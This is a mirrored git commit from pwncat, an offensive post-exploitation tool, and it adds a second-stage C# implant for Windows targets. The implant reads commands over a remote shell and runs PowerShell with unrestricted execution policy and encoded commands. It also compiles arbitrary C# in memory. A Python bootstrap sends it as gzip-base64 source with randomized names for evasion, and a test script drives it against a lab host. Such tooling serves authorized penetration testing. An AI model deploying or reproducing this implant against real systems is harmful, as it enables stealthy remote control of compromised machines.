mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-23 17:15:38 +01:00
Added proper stagetwo source with basic C# and powershell commands
This commit is contained in:
parent
96292b17d4
commit
274611263e
@ -11,6 +11,7 @@ public static class ConPtyShell
|
||||
private const string errorString = "{{{ConPtyShellException}}}\r\n";
|
||||
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
|
||||
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
|
||||
private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
|
||||
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
|
||||
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
||||
private const uint CREATE_NO_WINDOW = 0x08000000;
|
||||
@ -236,21 +237,11 @@ public static class ConPtyShell
|
||||
throw new InvalidOperationException("Could not get console mode");
|
||||
}
|
||||
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
|
||||
outConsoleMode &= ~ENABLE_WRAP_AT_EOL_OUTPUT;
|
||||
if (!SetConsoleMode(hStdOut, outConsoleMode))
|
||||
{
|
||||
throw new InvalidOperationException("Could not enable virtual terminal processing");
|
||||
}
|
||||
|
||||
IntPtr hStdIn = GetStdHandle(STD_INPUT_HANDLE);
|
||||
if (!GetConsoleMode(hStdIn, out outConsoleMode))
|
||||
{
|
||||
throw new InvalidOperationException("Could not get console mode");
|
||||
}
|
||||
outConsoleMode |= 0x0004 | 0x0001 | 0x0200;
|
||||
if (!SetConsoleMode(hStdIn, outConsoleMode))
|
||||
{
|
||||
throw new InvalidOperationException("Could not enable virtual terminal processing");
|
||||
}
|
||||
}
|
||||
|
||||
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
|
||||
|
78
pwncat/data/stagetwo.cs
Normal file
78
pwncat/data/stagetwo.cs
Normal file
@ -0,0 +1,78 @@
|
||||
class StageTwo
|
||||
{
|
||||
public System.String ReadUntilLine(System.String delimeter)
|
||||
{
|
||||
System.Text.StringBuilder builder = new System.Text.StringBuilder();
|
||||
|
||||
while (true)
|
||||
{
|
||||
System.String line = System.Console.ReadLine();
|
||||
if (line == delimeter)
|
||||
{
|
||||
break;
|
||||
}
|
||||
builder.AppendLine(line);
|
||||
}
|
||||
|
||||
return builder.ToString();
|
||||
}
|
||||
|
||||
public void main()
|
||||
{
|
||||
object[] args = new object[] { };
|
||||
|
||||
System.Console.WriteLine("READY");
|
||||
|
||||
while (true)
|
||||
{
|
||||
System.String line = System.Console.ReadLine();
|
||||
var method = GetType().GetMethod(line);
|
||||
if (method == null) continue;
|
||||
method.Invoke(this, args);
|
||||
}
|
||||
}
|
||||
|
||||
public void powershell()
|
||||
{
|
||||
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
|
||||
var startinfo = new System.Diagnostics.ProcessStartInfo()
|
||||
{
|
||||
FileName = "powershell.exe",
|
||||
Arguments = "-noprofile -ep unrestricted -enc " + command,
|
||||
UseShellExecute = false
|
||||
};
|
||||
|
||||
var p = System.Diagnostics.Process.Start(startinfo);
|
||||
p.WaitForExit();
|
||||
}
|
||||
|
||||
public void csharp()
|
||||
{
|
||||
var cp = new System.CodeDom.Compiler.CompilerParameters()
|
||||
{
|
||||
GenerateExecutable = false,
|
||||
GenerateInMemory = true,
|
||||
};
|
||||
|
||||
while (true)
|
||||
{
|
||||
System.String line = System.Console.ReadLine();
|
||||
if (line == "/* ENDASM */") break;
|
||||
cp.ReferencedAssemblies.Add(line);
|
||||
}
|
||||
|
||||
cp.ReferencedAssemblies.Add("System.dll");
|
||||
cp.ReferencedAssemblies.Add("System.Core.dll");
|
||||
cp.ReferencedAssemblies.Add("System.Dynamic.dll");
|
||||
cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
|
||||
|
||||
var r = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(cp, ReadUntilLine("/* ENDBLOCK */"));
|
||||
if (r.Errors.HasErrors)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
var obj = r.CompiledAssembly.CreateInstance("command");
|
||||
obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
|
||||
}
|
||||
}
|
@ -1,13 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
|
||||
from typing import List
|
||||
from io import StringIO, BytesIO
|
||||
import textwrap
|
||||
import pkg_resources
|
||||
import pathlib
|
||||
import base64
|
||||
import time
|
||||
import gzip
|
||||
import os
|
||||
|
||||
import pwncat
|
||||
import pwncat.subprocess
|
||||
import pwncat.util
|
||||
from pwncat.platform import Platform, PlatformError, Path
|
||||
|
||||
|
||||
@ -16,6 +21,22 @@ class PopenWindows(pwncat.subprocess.Popen):
|
||||
Windows-specific Popen wrapper class
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
platform: Platform,
|
||||
args,
|
||||
stdout,
|
||||
stdin,
|
||||
text,
|
||||
encoding,
|
||||
errors,
|
||||
bufsize,
|
||||
start_delim: bytes,
|
||||
end_delim: bytes,
|
||||
code_delim: bytes,
|
||||
):
|
||||
super().__init__()
|
||||
|
||||
|
||||
class WindowsReader(BufferedIOBase):
|
||||
"""
|
||||
@ -37,6 +58,13 @@ class Windows(Platform):
|
||||
established with an open powershell session."""
|
||||
|
||||
PATH_TYPE = pathlib.PureWindowsPath
|
||||
LIBRARY_IMPORTS = {
|
||||
"Kernel32": [
|
||||
"IntPtr GetStdHandle(int nStdHandle)",
|
||||
"bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode)",
|
||||
"bool SetConsoleMode(IntPtr hConsoleHandle, uint lpMode)",
|
||||
]
|
||||
}
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
@ -56,13 +84,119 @@ class Windows(Platform):
|
||||
|
||||
# Most Windows connections aren't capable of a PTY, and checking
|
||||
# is difficult this early. We will assume there isn't one.
|
||||
self.has_pty = False
|
||||
self.has_pty = True
|
||||
|
||||
# Trigger allocation of a pty. Because of powershell and windows
|
||||
# being unpredictable and weird, we basically *need* this. So,
|
||||
# we trigger it initially. WinAPI is available everywhere so on
|
||||
# any relatively recent version of windows, this should be fine.
|
||||
self.get_pty()
|
||||
# self.get_pty()
|
||||
|
||||
self._bootstrap_stage_two()
|
||||
|
||||
# Load requested libraries
|
||||
# for library, methods in self.LIBRARY_IMPORTS.items():
|
||||
# self._load_library(library, methods)
|
||||
|
||||
def _bootstrap_stage_two(self):
|
||||
"""This takes the stage one C2 (powershell) and boostraps it for stage
|
||||
two. Stage two is C# code dynamically compiled and executed. We first
|
||||
execute a small C# payload from Powershell which then infinitely accepts
|
||||
more C# to be executed. Further payloads are separated by the delimeters:
|
||||
|
||||
- "/* START CODE BLOCK */"
|
||||
- "/* END CODE BLOCK */"
|
||||
"""
|
||||
|
||||
# Read stage two source code
|
||||
stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs")
|
||||
with open(stage_two_path, "rb") as filp:
|
||||
source = filp.read()
|
||||
|
||||
# Randomize class and method name for a smidge of anonymity
|
||||
clazz = pwncat.util.random_string(8)
|
||||
main = pwncat.util.random_string(8)
|
||||
source = source.replace(b"class StageTwo", b"class " + clazz.encode("utf-8"))
|
||||
source = source.replace(
|
||||
b"public void main", b"public void " + main.encode("utf-8")
|
||||
)
|
||||
|
||||
# compress and encode source
|
||||
source_gz = BytesIO()
|
||||
with gzip.GzipFile(fileobj=source_gz, mode="wb") as gz:
|
||||
gz.write(source)
|
||||
source_enc = base64.b64encode(source_gz.getvalue())
|
||||
|
||||
# List of needed assemblies for stage two
|
||||
needed_assemblies = [
|
||||
"System.dll",
|
||||
"System.Core.dll",
|
||||
"System.Dynamic.dll",
|
||||
"Microsoft.CSharp.dll",
|
||||
]
|
||||
|
||||
# List of commands in the payload to bootstrap stage two
|
||||
payload = [
|
||||
"$cp = New-Object System.CodeDom.Compiler.CompilerParameters",
|
||||
]
|
||||
|
||||
# Add all needed assemblies to the compiler parameters
|
||||
for assembly in needed_assemblies:
|
||||
payload.append(f"""$cp.ReferencedAssemblies.Add("{assembly}")""")
|
||||
|
||||
# Compile our C2 code and execute it
|
||||
payload.extend(
|
||||
[
|
||||
"$cp.GenerateExecutable = $false",
|
||||
"$cp.GenerateInMemory = $true",
|
||||
"$gzb = [System.Convert]::FromBase64String((Read-Host))",
|
||||
"$gzms = New-Object System.IO.MemoryStream -ArgumentList @(,$gzb)",
|
||||
"$gz = New-Object System.IO.Compression.GzipStream $gzms, ([IO.Compression.CompressionMode]::Decompress)",
|
||||
f"$source = New-Object byte[]({len(source)})",
|
||||
f"$gz.Read($source, 0, {len(source)})",
|
||||
"$gz.Close()",
|
||||
"$r = (New-Object Microsoft.CSharp.CSharpCodeProvider).CompileAssemblyFromSource($cp, [System.Text.Encoding]::ASCII.GetString($source))",
|
||||
f"""$r.CompiledAssembly.CreateInstance("{clazz}").{main}()""",
|
||||
]
|
||||
)
|
||||
|
||||
# Send the payload, then send the encoded and compressed code
|
||||
self.channel.send((";".join(payload)).encode("utf-8") + b"\n")
|
||||
self.channel.send(source_enc + b"\n")
|
||||
|
||||
# Wait for the new C2 to be ready
|
||||
self.channel.recvuntil(b"READY")
|
||||
|
||||
def _load_library(self, name: str, methods: List[str]):
|
||||
"""Load the library. This adds a global with the same name as `name`
|
||||
which contains a reference to the library with all methods specified in
|
||||
`mehods` loaded."""
|
||||
|
||||
name = name.encode("utf-8")
|
||||
method_def = b""
|
||||
|
||||
for method in methods:
|
||||
method = method.encode("utf-8")
|
||||
# self.channel.send(
|
||||
method_def += (
|
||||
b'[DllImport(`"'
|
||||
+ name
|
||||
+ b'.dll`", SetLastError = true)]`npublic static extern '
|
||||
+ method
|
||||
+ b";`n"
|
||||
)
|
||||
|
||||
command = (
|
||||
b"$"
|
||||
+ name
|
||||
+ b' = Add-Type -MemberDefinition "'
|
||||
+ method_def
|
||||
+ b"\" -Name '"
|
||||
+ name
|
||||
+ b"' -Namespace 'Win32' -PassThru\n"
|
||||
)
|
||||
self.channel.send(command)
|
||||
self.session.manager.log(command.decode("utf-8").strip())
|
||||
|
||||
def get_pty(self):
|
||||
""" Spawn a PTY in the current shell. """
|
||||
@ -91,7 +225,6 @@ class Windows(Platform):
|
||||
for idx in range(0, len(source), CHUNK_SZ):
|
||||
chunk = source[idx : idx + CHUNK_SZ]
|
||||
self.channel.send(b'$source = $source + "' + chunk + b'"\n')
|
||||
time.sleep(0.1)
|
||||
|
||||
# decode the source
|
||||
self.channel.send(
|
||||
@ -109,9 +242,6 @@ class Windows(Platform):
|
||||
+ b"\n"
|
||||
)
|
||||
|
||||
self.channel.recvuntil(b"> ")
|
||||
self.channel.send(b"\n")
|
||||
|
||||
self.has_pty = True
|
||||
|
||||
def get_host_hash(self):
|
||||
@ -124,6 +254,8 @@ class Windows(Platform):
|
||||
@interactive.setter
|
||||
def interactive(self, value):
|
||||
|
||||
return
|
||||
|
||||
if value:
|
||||
|
||||
command = (
|
||||
@ -138,13 +270,10 @@ class Windows(Platform):
|
||||
"}",
|
||||
]
|
||||
)
|
||||
+ "\r\r"
|
||||
+ "\r"
|
||||
)
|
||||
|
||||
self.logger.info(command.rstrip("\n"))
|
||||
self.channel.send(command.encode("utf-8"))
|
||||
|
||||
self.channel.recvuntil(b"$")
|
||||
self.channel.recvuntil(b"\n")
|
||||
|
||||
return
|
||||
|
@ -94,7 +94,7 @@ class CompilationError(Exception):
|
||||
|
||||
def isprintable(data) -> bool:
|
||||
"""
|
||||
This is a convenience function to be used rather than the usual
|
||||
This is a convenience function to be used rather than the usual
|
||||
``str.printable`` boolean value, as that built-in **DOES NOT** consider
|
||||
newlines to be part of the printable data set (weird!)
|
||||
"""
|
||||
@ -113,9 +113,9 @@ def human_readable_size(size, decimal_places=2):
|
||||
|
||||
|
||||
def human_readable_delta(seconds):
|
||||
""" This produces a human-readable time-delta output suitable for output to
|
||||
"""This produces a human-readable time-delta output suitable for output to
|
||||
the terminal. It assumes that "seconds" is less than 1 day. I.e. it will only
|
||||
display at most, hours minutes and seconds. """
|
||||
display at most, hours minutes and seconds."""
|
||||
|
||||
if seconds < 60:
|
||||
return f"{seconds:.2f} seconds"
|
||||
@ -134,17 +134,17 @@ def human_readable_delta(seconds):
|
||||
|
||||
|
||||
def join(argv: List[str]):
|
||||
""" Join the string much line shlex.join, except assume that each token
|
||||
"""Join the string much line shlex.join, except assume that each token
|
||||
is expecting double quotes. This allows variable references within the
|
||||
tokens. """
|
||||
tokens."""
|
||||
|
||||
return " ".join([quote(x) for x in argv])
|
||||
|
||||
|
||||
def quote(token: str):
|
||||
""" Quote the token much like shlex.quote, except don't use single quotes
|
||||
"""Quote the token much like shlex.quote, except don't use single quotes
|
||||
this will escape any double quotes in the string and wrap it in double
|
||||
quotes. If there are no spaces, it returns the stirng unchanged. """
|
||||
quotes. If there are no spaces, it returns the stirng unchanged."""
|
||||
for c in token:
|
||||
if c in string.whitespace:
|
||||
break
|
||||
@ -176,8 +176,8 @@ def escape_markdown(s: str) -> str:
|
||||
|
||||
|
||||
def copyfileobj(src, dst, callback, nomv=False):
|
||||
""" Copy a file object to another file object with a callback.
|
||||
This method assumes that both files are binary and support readinto
|
||||
"""Copy a file object to another file object with a callback.
|
||||
This method assumes that both files are binary and support readinto
|
||||
"""
|
||||
|
||||
try:
|
||||
@ -209,11 +209,11 @@ def copyfileobj(src, dst, callback, nomv=False):
|
||||
|
||||
|
||||
def with_progress(title: str, target: Callable[[Callable], None], length: int = None):
|
||||
""" A shortcut to displaying a progress bar for various things. It will
|
||||
start a prompt_toolkit progress bar with the given title and a counter
|
||||
"""A shortcut to displaying a progress bar for various things. It will
|
||||
start a prompt_toolkit progress bar with the given title and a counter
|
||||
with the given length. Then, it will call `target` with an `on_progress`
|
||||
parameter. This parameter should be called for all progress updates. See
|
||||
the `do_upload` and `do_download` for examples w/ copyfileobj """
|
||||
the `do_upload` and `do_download` for examples w/ copyfileobj"""
|
||||
|
||||
with ProgressBar(title) as pb:
|
||||
counter = pb(range(length))
|
||||
@ -242,13 +242,15 @@ def with_progress(title: str, target: Callable[[Callable], None], length: int =
|
||||
|
||||
def random_string(length: int = 8):
|
||||
""" Create a random alphanumeric string """
|
||||
return "".join(random.choice(ALPHANUMERIC) for _ in range(length))
|
||||
return random.choice(string.ascii_letters) + "".join(
|
||||
random.choice(ALPHANUMERIC) for _ in range(length - 1)
|
||||
)
|
||||
|
||||
|
||||
def enter_raw_mode():
|
||||
""" Set stdin/stdout to raw mode to pass data directly.
|
||||
"""Set stdin/stdout to raw mode to pass data directly.
|
||||
|
||||
returns: the old state of the terminal
|
||||
returns: the old state of the terminal
|
||||
"""
|
||||
|
||||
# Ensure we don't have any weird buffering issues
|
||||
@ -297,9 +299,9 @@ def restore_terminal(state, new_line=True):
|
||||
|
||||
|
||||
def get_ip_addr() -> str:
|
||||
""" Retrieve the current IP address. This will return the first tun/tap
|
||||
interface if availabe. Otherwise, it will return the first "normal"
|
||||
interface with no preference for wired/wireless. """
|
||||
"""Retrieve the current IP address. This will return the first tun/tap
|
||||
interface if availabe. Otherwise, it will return the first "normal"
|
||||
interface with no preference for wired/wireless."""
|
||||
|
||||
PROTO = netifaces.AF_INET
|
||||
ifaces = [
|
||||
|
18
test.py
18
test.py
@ -1,5 +1,6 @@
|
||||
#!./env/bin/python
|
||||
import pwncat.manager
|
||||
import time
|
||||
|
||||
# Create a manager
|
||||
manager = pwncat.manager.Manager("data/pwncatrc")
|
||||
@ -7,4 +8,21 @@ manager = pwncat.manager.Manager("data/pwncatrc")
|
||||
# Establish a session
|
||||
session = manager.create_session("windows", host="192.168.122.11", port=4444)
|
||||
|
||||
session.platform.channel.send(
|
||||
b"""
|
||||
csharp
|
||||
/* ENDASM */
|
||||
class command {
|
||||
public void main()
|
||||
{
|
||||
System.Console.WriteLine("We can execute C# Now!");
|
||||
}
|
||||
}
|
||||
/* ENDBLOCK */
|
||||
powershell
|
||||
Write-Host "And we can execute powershell!"
|
||||
# ENDBLOCK
|
||||
"""
|
||||
)
|
||||
|
||||
manager.interactive()
|
||||
|
Loading…
Reference in New Issue
Block a user